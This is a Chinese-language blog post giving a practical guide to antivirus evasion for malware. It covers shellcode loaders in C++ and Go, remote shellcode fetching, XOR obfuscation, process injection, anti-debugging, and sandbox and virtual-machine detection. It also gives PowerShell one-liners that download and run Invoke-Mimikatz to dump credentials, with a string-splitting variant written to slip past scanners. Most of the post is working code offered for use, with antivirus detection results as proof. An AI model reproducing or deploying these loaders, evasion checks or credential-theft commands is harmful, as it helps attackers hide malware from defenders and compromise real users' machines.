前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基础免杀手法暴风吸入

基础免杀手法暴风吸入

作者头像
ConsT27
发布2022-03-15 21:05:36
1.4K0
发布2022-03-15 21:05:36
举报
文章被收录于专栏:ConsT27的笔记

前面的话:”免杀一般都是靠组合拳”

EXE

加壳

没什么好说的。可以自写加壳器等等

添加数字签名

不同的杀软对数字签名的敏感性不同,有些杀软可能只检查一下有没有数字签名就过了,有些杀软可能要去验证一下数字签名的正确性,有些可能管都不管数字签名。只能说添加数字签名能稍微提升一下exe的免杀几率。

间接运行exe

平时我们运行一个exe: cmd /c c:\a.exe 但这样容易被杀或者命令被ban。所有就有一些间接运行exe的方法

forfiles

forfiles是一个用于批处理的一个工具,它在找到文件后会执行指定的命令.

代码语言:javascript
复制
forfiles /p 指定搜索文件的目录 /m 指定搜索关键词 /c 指定要执行的命令
forfiles /p c:\windows\system32 /m calc.exe /c c:\tmp\evil.exe  //evil.exe会成为forfiles.exe的子进程
pcalua
代码语言:javascript
复制
pcalua -a c:\tmp\evil.exe  //evil.exe不会成为子进程
cmd Hijack

下面命令将弹计算器

代码语言:javascript
复制
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../../windows/system32/calc.exe"

cmd.exe /c "ping ;a.exe; 127.0.0.1/../../../../../../../../../windows/system32/calc.exe"

ping ;a.exe 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe
conhost

大于win7可用

代码语言:javascript
复制
conhost c:\windows\system32\calc.exe
conhost adsadas/../../../../../../../../../windows/system32/calc.exe

以下指令win10某些版本无法使用
conhost "asddas c:\windows\system32\calc.exe"
explorer.exe
代码语言:javascript
复制
explorer.exe c:\windows\system32\calc.exe
explorer asdsadasd,"c:\windows\system32\calc.exe"

C++

shellcode处理

指针执行+申请内存动态加载shellcode

首先从cobalt strike上生成拿到shellcode用作本次测试。 然后通过下面的代码,直接执行写死在程序里的shellcode。

代码语言:javascript
复制
#include <iostream>
#include<Windows.h>

int main()
{
    unsigned char buf[] = "shellcode";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}
QQ截图20210217145713
QQ截图20210217145713

可以看见,还是很拉跨的。

内联汇编加载shellcode

c++有强大的内联汇编功能,上次写壳的时候就感受了一番。 我们可以通过内联汇编代码加载shellcode.顺便加花什么的,都可以弄。

代码语言:javascript
复制
#include <iostream>
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib,"user32.lib")

int main()
{
	unsigned char buf[] = "shellcode";
	_asm {
		lea eax, buf;
		jmp eax;
	}
}
QQ截图20210217145723
QQ截图20210217145723

还是蛮拉跨的,虽然我没有加花。

HTTP协议远程读取shellcode

这次我们不把shellcode写死在程序之中,而是通过程序发起http请求向外界获得shellcode并执行。 这里涉及到winhttp.h的一些函数的使用。

源码借用一下 卿 的代码。它的代码是直接把shellcode的十六进制以字符串形式直接放到远程服务器上。像这样

QQ截图20210217145737
QQ截图20210217145737
代码语言:javascript
复制
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            //char ShellCode[1024];
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            //strcpy(ShellCode,pszOutBuffer);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

大致流程便是:

1.通过winhttp中的函数,以HTTP的方法获取远程服务器上的shellcode(此时shellcode在内存中是按照编码结果存储的,如下图,左边是内存原文,右边是内存解码(shellcode))

QQ截图20210217145818
QQ截图20210217145818

2.开辟一段内存,然后通过sscanf等方法读取存储shellcode变量的内容,将内存解码信息录入新的内存空间,使shellcode存在于内存中 3.执行shellcode,可以用指针执行等方法执行。

使用加载器加载shellcode
shellcode_ launcher 加载器

https://github.com/clinicallyinane/shellcode_launcher/

用msf或者cs生成raw形式shellcode,然后使用这个加载器加载一下就行了. 像这样 shellcode_launcher.exe -i C:\payload32.bin shellcode_ launcher 在virustotal上报毒率也是很高很高了…

SSI 加载器

https://github.com/DimopoulosElias/SimpleShellcodeInjector

cs生成c形式shellcode,然后去除\x,再拿给ssi加载器加载,像这样

QQ截图20210217145832
QQ截图20210217145832

ssi.exe shellcode 即可完成加载

ssi在virustotal上报毒率也是非常高..

自写加载器

ssi源码很简单大家可以参考写一下

shellcode变形

大思路就是把shellcode混淆后,放入加载器加载运行。 其细分思路就包括怎么把shellcode进行混淆了,简单的有XOR,BASE64,复杂一点的有AES等。 这里就只说说xor。 首先我们得准备一个程序将shellcode进行混淆。图方便就拿python写也是蛮不错的。 随便写了一个。效果真不戳(虽然上传了vt过两天就肯定不能用了)

QQ截图20210217145855
QQ截图20210217145855

github:https://github.com/ConsT27/SimpleXORshellcode

shellcode注入进程内存
注入已有进程

大致逻辑:OpenProcess获得进程句柄->VirtualAllocEx在进程中开辟一段内存空间->WriteProcessMemory向刚刚开辟的内存空间中写入shellcode->CreateRemoteThread为刚刚写入的shellcode创建一个线程执行

代码语言:javascript
复制
#include <iostream>
#include<Windows.h>

int main()
{
	unsigned char buf[] = "shellcode";
	DWORD pid = 25388;
	HANDLE Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (!Proc) {
		std::cout << GetLastError() << std::endl;
	}
	LPVOID buffer = VirtualAllocEx(Proc, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	if (buffer) {
		std::cout << GetLastError() << std::endl;
	}
	if (WriteProcessMemory(Proc, buffer, buf, sizeof(buf), 0) ){
		std::cout << GetLastError() << std::endl;
	}
	HANDLE remotethread = CreateRemoteThread(Proc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
}

效果:虽然也很拉,但是静态过了趋势是我没想到的。

QQ截图20210217145906
QQ截图20210217145906

反调试

可以通过反调试来规避杀软检测,拖慢逆向工程师分析速度,但也有可能提高被判为恶意文件的概率。

直接判断是否为调试状态
代码语言:javascript
复制
if (IsDebuggerPresent()) return FALSE;

PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;

BOOL ret;  
CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);  
return ret;  
代码语言:javascript
复制
NtQueryInformationProcess

这个函数用来获取某进程的信息。
需要动态链接库 #pragma comment(lib,"ntdll")
当然也可以用GetProcAddress动态获取这个函数。
这个函数第一个参数指定进程句柄,第二个参数指定进程的特定结构,第三个参数获取返回值,第四个参数是返回值缓冲区大小,第五个填NULL
其中与反调试有关的成员有ProcessDebugPort(0x7)、ProcessDebugObjectHandle(0x1E)和ProcessDebugFlags(0x1F)
ProcessDebugPort参数,若没在调试中,则该函数返回0,若在调试中则返回对应的调试端口
其他参数也类似

看雪上houjingyi师傅的演示代码

BOOL CheckDebug()  
{  
    int debugPort = 0;  
    HMODULE hModule = LoadLibrary("Ntdll.dll");  
    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");  
    NtQueryInformationProcess(GetCurrentProcess(), 0x7, &debugPort, sizeof(debugPort), NULL);  
    return debugPort != 0;  
}  
   
BOOL CheckDebug()  
{  
    HANDLE hdebugObject = NULL;  
    HMODULE hModule = LoadLibrary("Ntdll.dll");  
    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");  
    NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &hdebugObject, sizeof(hdebugObject), NULL);  
    return hdebugObject != NULL;  
}  
   
BOOL CheckDebug()  
{  
    BOOL bdebugFlag = TRUE;  
    HMODULE hModule = LoadLibrary("Ntdll.dll");  
    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");  
    NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &bdebugFlag, sizeof(bdebugFlag), NULL);  
    return bdebugFlag != TRUE;  
}  
检测软件断点

当我们在调试器中对一行代码打上断点时,实质上是将这行代码改为了0xcc,即INT 3,中断异常,所以调试器运行到此处时会停止。 那么我们就可以通过检测代码中是否有0xcc来判断是否被打上了软件断点,从而起到反调试的作用。

要做到这一点,可以使用汇编代码中的 repne scasb 指令,其第一个参数是缓冲区的起始地址,第二个参数是缓冲区大小,第三个参数是匹配的字符串。它会在指定的缓冲区内寻找字符串,若没有找到则返回.

时间检测
代码语言:javascript
复制
int t1 = GetTickCount64();
Hack(); //一个函数,诱导分析人员在调试的时候跟进进去耽误时间
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) {
return FALSE;
}  //t1,t2检测时间过大则会是调试

wprintf_s(L"Now hacking more...\n");

也可以用内联汇编完成
BOOL CheckDebug()  
{  
    DWORD time1, time2;  
    __asm  
    {  
        rdtsc  
        mov time1, eax
        ........垃圾代码,耽误分析人员时间
        rdtsc  
        mov time2, eax  
    }  
    if (time2 - time1 < 0xff)  
    {  
        return FALSE;  
    }  
    else  
    {  
        return TRUE;  
    }  
}  
检测父进程

见沙箱绕过章节中的“检测父进程”

SEH中断

不是很懂

代码语言:javascript
复制
void AD_BreakPoint()  
{  
    printf("SEH : BreakPoint\n");  
   
    __asm {  
        // install SEH  
        push handler  
        push DWORD ptr fs:[0]  
        mov DWORD ptr fs:[0], esp  
           
        // generating exception  
        int 3  
   
        // 1) debugging  
        //    go to terminating code  
        mov eax, 0xFFFFFFFF  
        jmp eax                 // process terminating!!!  
   
        // 2) not debugging  
        //    go to normal code  
handler:  
        mov eax, dword ptr ss:[esp+0xc]  
        mov ebx, normal_code  
        mov dword ptr ds:[eax+0xb8], ebx  
        xor eax, eax  
        retn  
   
normal_code:  
        //   remove SEH  
        pop dword ptr fs:[0]  
        add esp, 4  
    }  
   
    printf("  => Not debugging...\n\n");  
}  
   
int _tmain(int argc, TCHAR* argv[])  
{  
    AD_BreakPoint();  
   
    return 0;  
}

沙箱绕过(Sandbox Evasion)

System Checks

检测当前环境是否是沙箱环境,如果是沙箱则不表现出恶意行为。

检测函数是否被HOOK更改

有些沙箱会对一些函数进行HOOK更改,我们可以通过在原DLL中查找原函数与进程中的函数进行比对从而判断其是否被HOOK. 这里是别人的代码(RedTeaming)

代码语言:javascript
复制
// manually load the dll
HANDLE dllFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dllFileSize = GetFileSize(dllFile, NULL);
HANDLE hDllFileMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
HANDLE pDllFileMappingBase = MapViewOfFile(hDllFileMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(dllFile);

// analyze the dll
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllFileMappingBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDllFileMappingBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pDllFileMappingBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNameOrdinals);

// find the original function code
PVOID pNtCreateThreadExOriginal = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
	PCSTR pFunctionName = (PSTR)((PBYTE)pDllFileMappingBase + pAddressOfNames[i]);
	if (!strcmp(pFunctionName, "NtCreateThreadEx"))
	{
		pNtCreateThreadExOriginal = (PVOID)((PBYTE)pDllFileMappingBase + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
		break;
	}
}

// compare functions
PVOID pNtCreateThreadEx = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
if (memcmp(pNtCreateThreadEx, pNtCreateThreadExOriginal, 16)) return false;
GetTickCount

GetTickCount 是win32 API之一,用来记录电脑开机后的运行时间(以毫秒为单位) 我们可以通过这个函数检测当前环境的运行时间,如果时间很短那么就有可能是沙箱。

为什么时间很短就可能是沙箱环境呢?沙箱对恶意程序的检测流程大致如下

代码语言:javascript
复制
1.启动虚拟环境
2.将恶意程序复制进虚拟环境
3.运行恶意程序一段时间(一般为5分钟)
4.获取虚拟环境返回的报告
5.关机

全程不过6.7分钟,而正常的机器运行时间肯定是大于这个值的。那么我们就可以定一个标准:如果GetTickCount返回的值小于10min,那么就被判为沙箱环境。

CPU,RAM等信息

沙箱的CPUI多为1核,ram多小于2g,硬盘大小多小于100g。我们可以以此为一个基准进行沙箱检测。

代码语言:javascript
复制
//cpu processors
SYSTEM_INFO systeminfo;
	GetSystemInfo(&systeminfo);
	DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;
	
//ram
	MEMORYSTATUSEX memoryStatus;
	memoryStatus.dwLength = sizeof(memoryStatus);
	GlobalMemoryStatusEx(&memoryStatus);
	DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;

//hdd(硬盘大小)
	HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	DISK_GEOMETRY pDiskGeometry;
	DWORD bytesReturned;
	DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
	DWORD diskSizeGB;
	diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;

	printf("cpu:%d,ram:%d,size(gb):%d", numberOfProcessors, RAMMB, diskSizeGB);
mac

常见虚拟机如vmware,viturl box等都有特殊的mac地址,可以以此为依据判断是否在虚拟机中(随着虚拟化主机越来越普遍,许多公司将业务系统也搬进了虚拟机,这个方法已不太能作为检测沙箱的指标)

“通常,MAC地址的前三个字节标识一个提供商。以00:05:69、00:0c:29和00:50:56开始的MAC地址与VMware相对应;以00:03:ff开始的MAC地址与virtualpc对应;以08:00:27开始的MAC地址与virtualbox对应。”

代码语言:javascript
复制


	string mac;
    get_3part_mac(mac);
    if (mac == "00-05-69" || mac == "00-0c-29" || mac == "00-50-56" || mac == "00-03-ff" || mac == "08-00-27") {

    }
    else {

    }
    
void get_3part_mac(string &mac)  
{  
    NCB Ncb;  
    ASTAT Adapter;  
    UCHAR uRetCode;  
    LANA_ENUM lenum;  
    memset(&Ncb, 0, sizeof(Ncb));  
    Ncb.ncb_command = NCBENUM;  
    Ncb.ncb_buffer = (UCHAR *)&lenum;  
    Ncb.ncb_length = sizeof(lenum);  
    uRetCode = Netbios(&Ncb);  
    for (int i = 0; i < lenum.length; i++)  
    {  
        memset(&Ncb, 0, sizeof(Ncb));  
        Ncb.ncb_command = NCBRESET;  
        Ncb.ncb_lana_num = lenum.lana[i];  
        uRetCode = Netbios(&Ncb);  
        memset(&Ncb, 0, sizeof(Ncb));  
        Ncb.ncb_command = NCBASTAT;  
        Ncb.ncb_lana_num = lenum.lana[i];  
        strcpy((char *)Ncb.ncb_callname, "*");  
        Ncb.ncb_buffer = (unsigned char *)&Adapter;  
        Ncb.ncb_length = sizeof(Adapter);  
        uRetCode = Netbios(&Ncb);  
        if (uRetCode == 0)  
        {  
            char tmp[128];  
            sprintf(tmp, "%02x-%02x-%02x",  
                Adapter.adapt.adapter_address[0],  
                Adapter.adapt.adapter_address[1],  
                Adapter.adapt.adapter_address[2]  
            );  
            mac = tmp;  
        }  
    }  
}  
分辨率

沙箱的分辨率都不太正常

检查时区与时间流动性

沙箱往往会加速运行文件,故可以检查时间流动性是否正常从而检测沙箱

代码语言:javascript
复制
    //时区
    DYNAMIC_TIME_ZONE_INFORMATION DynamicTimeZoneInfo;
    GetDynamicTimeZoneInformation(&DynamicTimeZoneInfo);
    wchar_t wcTimeZoneName[128 + 1];
    StringCchCopyW(wcTimeZoneName, 128, DynamicTimeZoneInfo.TimeZoneKeyName);
    CharUpperW(wcTimeZoneName);
    if (!wcsstr(wcTimeZoneName, L"CHINA STANDARD TIME")) {

    }
    
    //流动性
    clock_t ClockStartTime, ClockEndTime;
    time_t UnixStartTime = time(0);
    ClockStartTime = clock();
    Sleep(10000);
    ClockEndTime = clock();
    time_t UnixEndTime = time(0);
    int iTimeDifference = ((UnixEndTime - UnixStartTime) * 1000) - (ClockEndTime - ClockStartTime);
    if (iTimeDifference>150){
//*code
    }
检测文件名是否被沙箱更改
代码语言:javascript
复制
wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"evil.EXE")) return false;
Time-Based Evasion

基于时间的规避。即恶意软件在目标系统上运行后并不会立刻进行恶意行动,而是会伪装、休眠一段时间,等到一定时间后再开始恶意行动

使用网络连接实时读取启动指令

意思就是说该程序会不断向某个网址发送请求包,如果网址返回了对应的启动指令则开始调用恶意代码。

下图是用HTTP请求获取网页内容的代码。

代码语言:javascript
复制
HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"www.baidu.com", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
DWORD responseLength;
WinHttpQueryDataAvailable(hRequest, &responseLength);
PVOID response = new char[responseLength + 1];
WinHttpReadData(hRequest, response, responseLength, &responseLength);
std::cout << ((char *)response);
User Activity Based Checks

通过检测一些行为,来识别当前实施者是否为人类。(比如动鼠标,敲键盘等,或者查询电脑上word文档打开历史数,chrome历史记录等信息来判断)

鼠标移动轨迹

可以设置鼠标移动多少距离才执行shellcode,沙箱有些是没有鼠标的。

代码语言:javascript
复制
POINT CurrentMousePos;
    POINT PreviousMousePos;
    GetCursorPos(&PreviousMousePos);
    double Dis = 0;
    while (true)
    {
        GetCursorPos(&CurrentMousePos);
        Dis+= sqrt(pow(CurrentMousePos.x - PreviousMousePos.x, 2) + pow(CurrentMousePos.y - PreviousMousePos.y, 2));
        Sleep(100);
        if (Dis > 20000) {
//*code
        }

    }
检测父进程

对于一个正常的用户来说,启动exe文件应该是双击运行,程序启动后父进程是explore.exe,如果是cmd运行则会是cmd.exe、 但是对于沙箱就有可能存在用一个程序如windbg来启动我们的恶意EXE文件,这个时候我们就需要对此点进行检测。

代码语言:javascript
复制
DWORD GetParentPID(DWORD pid)
{
	DWORD ppid = 0;
	PROCESSENTRY32W processEntry = { 0 };
	processEntry.dwSize = sizeof(PROCESSENTRY32W);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  //对所有进程创建快照
	if (Process32FirstW(hSnapshot, &processEntry))  //遍历快照,找到当前传入PID的进程信息
	{
		do
		{
			if (processEntry.th32ProcessID == pid)
			{
				ppid = processEntry.th32ParentProcessID;  //找到并返回传入PID的父进程PID
				break;
			}
		} while (Process32NextW(hSnapshot, &processEntry));
	}
	CloseHandle(hSnapshot);
	return ppid;
}

void main()
{
	DWORD parentPid = GetParentPID(GetCurrentProcessId()); //获取当前进程父进程PID
	WCHAR parentName[MAX_PATH + 1];
	DWORD dwParentName = MAX_PATH;
	HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);  //打开父进程
	QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot' //获取进程名
	CharUpperW(parentName);
	if (wcsstr(parentName, L"WINDBG.EXE")) return; //匹配

	wprintf_s(L"Now hacking...\n");
}

进程镂空

动态调用API

代码语言:javascript
复制
void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");

Powershell

远程执行与本地执行

远程执行

powershell可以加载远程的ps1文件。这样做的好处是实现了无文件落地。

代码语言:javascript
复制
powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

不过市面上很多杀软对downloadstring检测十分十分严格(许多会检测远程文件安全性)

代码语言:javascript
复制
powershell -exec bypass -f \\webdavserver\folder\payload.ps1 (smb)
本地执行
代码语言:javascript
复制
powershell Import-Module .\xx.ps1

命令拆分

就像刚刚远程加载的downloadstring法,它很容易被杀软拦截。但是我们可以通过拆分重组绕过一些杀软检测。

代码语言:javascript
复制
powershell -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://webserver/xxx.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

GO

FUNNY

很有趣的一件事是,用go语言写个helloworld传到vt被14家杀,牛批

image-20210819215802696
image-20210819215802696

生成EXE

go 编译为EXE 的做法是go build ….go,但这样EXE打开时会有个黑框

go build -ldflags “-H windowsgui” ..go 生成无窗口EXE,但这样会增加杀软的查杀度

申请内存加载shellcode

代码语言:javascript
复制
package main

import (
"syscall"
"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
	KEY_1                  = 55
	KEY_2                  = 66
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main(){
	shellcode:=[]byte{0xfc,...,0x30,0x00,0x19,0x69,0xa0,0x8d}
	addr,_,err:=VirtualAlloc.Call(0,uintptr(len(shellcode)),MEM_COMMIT, PAGE_EXECUTE_READWRITE )
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

最原始版本,被杀成哈批,但即使这样360也杀不出来,可以看出绕过360有手就行

image-20210818180146046
image-20210818180146046

简单XOR

代码语言:javascript
复制
xor模块(获得xor后的shellcode)
	for i:=0;i<len(shellcode);i++{
		fmt.Print("0x",strconv.FormatInt(int64(shellcode[i]^123),16),",")
	}
代码语言:javascript
复制
xor_shellcode:=[]byte{xored_shellcode}
var shellcode []byte
for i:=0;i<len(xor_shellcode);i++{
	shellcode=append(shellcode,xor_shellcode[i]^123)
}
addr,_,err:=VirtualAlloc.Call(0,uintptr(len(shellcode)),MEM_COMMIT, PAGE_EXECUTE_READWRITE )
if err != nil && err.Error() != "The operation completed successfully." {
	syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
	syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
image-20210818185018219
image-20210818185018219

好了点,但是如果加上无框启动,还是会被杀成哈批

沙盒&虚拟机检测

代码语言:javascript
复制
imoprt{	"github.com/shirou/gopsutil/host"
	"github.com/shirou/gopsutil/mem"
	"github.com/shirou/gopsutil/disk"
	}

func CheckTime() bool{
	timeBoot, _ := host.BootTime()
	t := time.Unix(int64(timeBoot), 0)
	timeNow:=time.Now()
	ts:=timeNow.Sub(t)
	if ts.Minutes()<12{
		return false
	}else{
		return true
	}
}

func CheckName() bool{
	files, _ := ioutil.ReadDir("./")
	for _, f := range files {
		if f.Name()=="ActiveX.exe"{
			return true
		}
	}
	return false
}

func CheckSystem() bool{
	info1,_:=mem.SwapMemory()
	info2,_:=mem.VirtualMemory()
	disk,_:=disk.Usage("c:")
	if(runtime.NumCPU()<2&&info1.Total<2147483648&&info2.Total<2147483648&&disk.Total<21474836480){
		return false
	}
	return true
}
image-20210818192335970
image-20210818192335970

用它和XOR打组合拳效果将就,用了无窗启动后有7个查出来

虚拟机:敏感文件检测

这个会被defender拦,不必要的话不用这个

代码语言:javascript
复制
func PathExists(path string) (bool, error) { //判断文件是否存在
	_, err := os.Stat(path)
	if err == nil {
		return true, nil
	}
	if os.IsNotExist(err) {
		return false, nil
	}
	return false, err
}
func fack(path string) { //判断虚拟机关键文件是否存在
	b, _ := PathExists(path)
	if b {
		fmt.Printf("当前是虚拟机环境,别分析了,哥。")
		os.Exit(1) //如果是虚拟机就退出当前进程
	}
}
func check() {
	fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
	fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
	fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
	fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
	fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
	fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
	fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
	fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
	fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
	fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
	fack("C:\\windows\\System32\\vboxdisp.dll")
	fack("C:\\windows\\System32\\vboxhook.dll")
	fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
	fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
	fack("C:\\windows\\System32\\vboxservice.exe")
	fack("C:\\windows\\System32\\vboxtray.exe")
	fack("C:\\windows\\System32\\VBoxControl.exe")
}

远程读shellcode

代码语言:javascript
复制
Url,err:=url.Parse("https://pastebin.com/aa")
if err!=nil{
	panic("error")
}
client:=http.Client{}
req,_:=http.NewRequest("GET",Url.String(),nil)
